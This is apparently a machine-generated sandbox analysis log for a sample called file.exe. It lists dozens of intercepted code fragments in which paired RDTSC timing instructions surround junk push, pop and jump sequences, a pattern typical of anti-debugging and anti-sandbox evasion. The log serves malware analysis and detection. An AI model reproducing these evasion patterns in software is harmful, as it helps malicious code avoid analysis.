Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853878 second address: 85388F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jg 00007F1538C62CDCh 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85388F second address: 85389B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F153924BB66h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85389B second address: 8538AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b jnc 00007F1538C62CD6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8538AC second address: 8538D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jo 00007F153924BB66h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F153924BB77h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853CCB second address: 853CD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F1538C62CD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 853CD5 second address: 853D00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F153924BB6Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F153924BB6Ah 0x00000011 jmp 00007F153924BB6Bh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A6B9 second address: 85A6C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0B65 second address: 7C0B6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0B6B second address: 7C0B70 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 858F50 second address: 858F72 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F153924BB79h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 858F72 second address: 858F89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007F1538C62CE2h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8595D0 second address: 8595F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 je 00007F153924BB7Bh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8595F0 second address: 859604 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1538C62CDCh 0x00000008 jno 00007F1538C62CD6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push esi 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 859604 second address: 859610 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F153924BB66h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 802ECA second address: 802ECE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 802ECE second address: 802ED4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 802E7F second address: 802ECA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 nop 0x00000005 adc dx, 4C37h 0x0000000a push 00000004h 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007F1538C62CD8h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 00000015h 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 je 00007F1538C62CE7h 0x0000002c jmp 00007F1538C62CE1h 0x00000031 push eax 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 je 00007F1538C62CD6h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85A3F9 second address: 85A406 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F153924BB68h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85CE72 second address: 85CE76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85D00A second address: 85D010 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862D26 second address: 862D2C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 862E96 second address: 862EA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007F153924BB6Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 863131 second address: 863135 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8633E2 second address: 8633EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push esi 0x00000006 push esi 0x00000007 pop esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 863703 second address: 86370D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F1538C62CD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86426D second address: 86427D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jnp 00007F153924BB66h 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86427D second address: 864290 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F1538C62CD6h 0x0000000a js 00007F1538C62CD6h 0x00000010 push esi 0x00000011 pop esi 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 864290 second address: 86429C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F153924BB66h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86429C second address: 8642A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C926D second address: 7C9272 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868A00 second address: 868A13 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F1538C62CD6h 0x00000008 jno 00007F1538C62CD6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868A13 second address: 868A2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F153924BB72h 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 868DDF second address: 868E14 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jl 00007F1538C62CD6h 0x00000009 je 00007F1538C62CD6h 0x0000000f pop ecx 0x00000010 jmp 00007F1538C62CDDh 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pushad 0x00000018 push edi 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b pop edi 0x0000001c push esi 0x0000001d jbe 00007F1538C62CD6h 0x00000023 pop esi 0x00000024 pushad 0x00000025 jns 00007F1538C62CD6h 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8690C6 second address: 8690DC instructions: 0x00000000 rdtsc 0x00000002 jg 00007F153924BB6Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007F153924BB66h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86DAE4 second address: 86DB1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F1538C62CDCh 0x00000008 pushad 0x00000009 popad 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push esi 0x0000000e jmp 00007F1538C62CE9h 0x00000013 pushad 0x00000014 jbe 00007F1538C62CD6h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8746E4 second address: 8746FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F153924BB6Eh 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c pop eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 874823 second address: 874855 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 jmp 00007F1538C62CE8h 0x0000000e pop ecx 0x0000000f je 00007F1538C62CFBh 0x00000015 push eax 0x00000016 push edx 0x00000017 jnc 00007F1538C62CD6h 0x0000001d push edi 0x0000001e pop edi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 874F96 second address: 874FB7 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F153924BB66h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F153924BB71h 0x00000011 push eax 0x00000012 push edx 0x00000013 push edi 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 874FB7 second address: 874FC4 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1538C62CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 874FC4 second address: 874FDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 popad 0x0000000a push esi 0x0000000b jmp 00007F153924BB6Ah 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 875255 second address: 87525B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87641A second address: 87641E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87641E second address: 876424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87E3E4 second address: 87E3FB instructions: 0x00000000 rdtsc 0x00000002 jc 00007F153924BB6Eh 0x00000008 je 00007F153924BB66h 0x0000000e pushad 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87E08F second address: 87E093 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87E093 second address: 87E099 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87E099 second address: 87E0B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F1538C62CE8h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 87E0B8 second address: 87E0C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 888CA8 second address: 888CE0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jg 00007F1538C62CD6h 0x00000009 pop edi 0x0000000a push edx 0x0000000b jmp 00007F1538C62CE6h 0x00000010 pop edx 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 pushad 0x00000015 jmp 00007F1538C62CDEh 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 888CE0 second address: 888CE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 888CE8 second address: 888CF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop esi 0x00000007 pushad 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 888CF4 second address: 888CFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89283D second address: 892843 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 892843 second address: 892864 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F153924BB6Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F153924BB71h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8929D5 second address: 8929D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8929D9 second address: 892A04 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F153924BB66h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jns 00007F153924BB7Fh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 892A04 second address: 892A10 instructions: 0x00000000 rdtsc 0x00000002 js 00007F1538C62CDEh 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89EDD8 second address: 89EDE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F153924BB66h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89EDE7 second address: 89EDF1 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F1538C62CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89EDF1 second address: 89EE1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 jbe 00007F153924BB66h 0x0000000d popad 0x0000000e pushad 0x0000000f je 00007F153924BB66h 0x00000015 push eax 0x00000016 pop eax 0x00000017 jl 00007F153924BB66h 0x0000001d popad 0x0000001e pop edx 0x0000001f pop eax 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 push ebx 0x00000024 pop ebx 0x00000025 je 00007F153924BB66h 0x0000002b push esi 0x0000002c pop esi 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A23AD second address: 8A23BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F1538C62CD6h 0x0000000a pop esi 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A23BD second address: 8A23D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F153924BB72h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A5441 second address: 8A544C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jl 00007F1538C62CD6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A544C second address: 8A5470 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F153924BB6Eh 0x0000000c jmp 00007F153924BB6Fh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AD139 second address: 8AD13D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AD13D second address: 8AD151 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jno 00007F153924BB66h 0x0000000e jns 00007F153924BB66h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ABB11 second address: 8ABB19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ABDD1 second address: 8ABDE1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007F153924BB66h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ABDE1 second address: 8ABDE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ABDE5 second address: 8ABDF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 ja 00007F153924BB66h 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ABDF9 second address: 8ABE20 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1538C62CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e je 00007F1538C62CD6h 0x00000014 jmp 00007F1538C62CE1h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ABE20 second address: 8ABE2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push edi 0x00000007 pop edi 0x00000008 jns 00007F153924BB66h 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AC238 second address: 8AC257 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007F1538C62CD6h 0x0000000d jmp 00007F1538C62CE2h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AC519 second address: 8AC51D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ACE96 second address: 8ACEA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8ACEA1 second address: 8ACEA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B09A6 second address: 8B09BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push edi 0x00000007 pop edi 0x00000008 je 00007F1538C62CD6h 0x0000000e popad 0x0000000f jg 00007F1538C62CD8h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B09BD second address: 8B09C7 instructions: 0x00000000 rdtsc 0x00000002 je 00007F153924BB6Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0577 second address: 8B057B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B06CE second address: 8B06D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B06D4 second address: 8B06D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B1F31 second address: 8B1F35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B42EE second address: 8B4300 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1538C62CDAh 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B4300 second address: 8B430E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B430E second address: 8B431B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jng 00007F1538C62CDCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BF374 second address: 8BF379 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BF379 second address: 8BF383 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F1538C62CDEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BF383 second address: 8BF38E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push esi 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C38AE second address: 8C38B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C5EA9 second address: 8C5EAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C5EAD second address: 8C5EC7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007F1538C62CD6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F1538C62CDAh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C5EC7 second address: 8C5ECB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C5CC3 second address: 8C5CE8 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1538C62CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e jmp 00007F1538C62CE7h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C5CE8 second address: 8C5CF2 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F153924BB66h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
